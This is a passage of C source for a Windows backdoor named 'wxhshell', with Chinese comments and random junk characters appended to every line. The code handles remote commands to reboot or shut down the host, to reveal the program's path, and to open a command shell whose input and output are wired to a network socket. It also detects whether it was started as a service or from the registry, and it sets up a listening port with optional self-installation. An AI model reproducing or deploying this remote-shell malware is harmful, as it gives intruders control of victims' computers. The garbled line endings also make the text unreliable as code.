send(wsh,msg_ws_err,strlen(msg_ws_err),0); =^tA_AxVw
else d|lpec
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -DjJ",h( $
break; <CZgQ\Mt
} TB!(('
// 显示 wxhshell 所在路径 ~TqT }:,H
case 'p': { j.%K_h?V5
char svExeFile[MAX_PATH]; y(i Y
strcpy(svExeFile,"\n\r"); Mxl]"?z
strcat(svExeFile,ExeFile); y >+mc7n
send(wsh,svExeFile,strlen(svExeFile),0); {<=#*qx[Y!
break; z~{&}Em ~
} 'e!J06
// 重启 4vWkT8HQ
case 'b': { 'hqBo|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?LK 2g
if(Boot(REBOOT)) x@KZ ]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+{yMol1
else { aZ|=(]
closesocket(wsh); <RNJ>>0
ExitThread(0); _iV]_\0W2
} &#yR;{
break; kgi>}%
} %w7pkh,
// 关机 @]aOyb@
case 'd': { i0jBZW"_1$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CQh,~
if(Boot(SHUTDOWN)) JM- t<.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26vp1
else { ~@.%m"<.
closesocket(wsh); 0tg8~H3yy
ExitThread(0); e [_m< e
} B=8Iu5m
break; 9d[5{" 2j
} 3psU?8(
// 获取shell =L;] ;i
case 's': { UhA"nt0
CmdShell(wsh); Jc&y9]
closesocket(wsh); ~vlype3/EF
ExitThread(0); LI2&&Mw
break; b2b?hA'k
} s*U1
// 退出 ./Q,
case 'x': { Q'_z<V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w2_bd7Wp<
CloseIt(wsh); !*6CWV0
break; "BX!
} L_=3<n E
// 离开 -'~ LjA(
case 'q': { C4TE-OM8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P ;IrBq6|o
closesocket(wsh); 9]q:[zm^
WSACleanup(); ?QE,;QtpK
exit(1); ^%O]P`$
break; Kq i4hK
} cM&{+el
} c("_bOAT
} ,}K<*t[I
As>_J=8}3
// 提示信息 lRXK\xIP ,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )"pF R4
} n=[/Z!
} Z?\>JM >;
qgfi\/$6
return; 1dK*y'rx
} H)n9O/u
~ 0M'7q'
// shell模块句柄 RsYU59_Y
int CmdShell(SOCKET sock) U*) 8G
{ DY`kx2e!
STARTUPINFO si; ?"g!
ZeroMemory(&si,sizeof(si)); t2)rUWg
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oeok ;:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DP|D\+YyYA
PROCESS_INFORMATION ProcessInfo; _ jsK}- \
char cmdline[]="cmd"; a24"yT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h D/*h*}T>
return 0; ?U2<
} r[*Vqcz
NGbG4-w-
// 自身启动模式 h%uZYsK
int StartFromService(void) LA}S yt\F
{ }n>p4W"OM
typedef struct V)[@98T_4?
{ )84~ugs
DWORD ExitStatus; sG92XJ
DWORD PebBaseAddress; a m|F?|1
DWORD AffinityMask; ~=uWD&5B4
DWORD BasePriority; & tg&5_
ULONG UniqueProcessId; PoxK{Y
ULONG InheritedFromUniqueProcessId; '/^qJ7eb
} PROCESS_BASIC_INFORMATION; gaZu;t2u
Z$/xy"
PROCNTQSIP NtQueryInformationProcess; ur:3W6ZKl
h4 T5+~rw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P\1L7%*lU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ hZ0IM
XAF+0 x!
HANDLE hProcess; Mygf T[_
PROCESS_BASIC_INFORMATION pbi; t/VD31
x!5'`A!W%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (|klSz_4LM
if(NULL == hInst ) return 0; ]>=}*=
UQ?XqgUM
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A kC1z73<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n"G&ENN"$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C~2F9Pg
Qz5sxi
if (!NtQueryInformationProcess) return 0; 2$+bJJM
6dabU*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J?? -j
if(!hProcess) return 0; ,(qRc(Ho
)dbB =OZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \^L`7cBL
*|%@6I(
CloseHandle(hProcess); 7K,-01-:
vK|E>nL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,J,/."Y
if(hProcess==NULL) return 0; I`-8Air5f
-]/I73!b
HMODULE hMod; 0^I|u t4
char procName[255]; \KMToN&2
unsigned long cbNeeded; -lbm* -(
ALrw\qV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xe6w|
N60rgSzI
CloseHandle(hProcess); `eE&5.
R Q vft
if(strstr(procName,"services")) return 1; // 以服务启动 (D#B_`;-
Gw>^[dmt!
return 0; // 注册表启动 xSktg]u Se
} &+Z,hs9%
msP{l^%0
// 主模块 B:5Rr}eY+
int StartWxhshell(LPSTR lpCmdLine) `NCwK6/i
{ JlH&??
SOCKET wsl; ',Y.v"']4
BOOL val=TRUE; }YB*]<]
int port=0; l)G^cSHF.3
struct sockaddr_in door; 'FqQzx"r
}SX,^|eN
if(wscfg.ws_autoins) Install(); )2Wi `ZT
Rn}l6kbM
port=atoi(lpCmdLine); -e_hrCW&9
<Wfx+F
if(port<=0) port=wscfg.ws_port; RHmgD;7`
m_.>C
WSADATA data; d ^^bke$~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kh {p%<r{
1;C+$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #yI mKEYX
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F20E_2;@@
door.sin_family = AF_INET; 5*+!+V^?X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); g l^<Q
door.sin_port = htons(port); /M|2 62%
h}*/Ge]aM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,=UK}*e"
closesocket(wsl); mkYqpD7
return 1;
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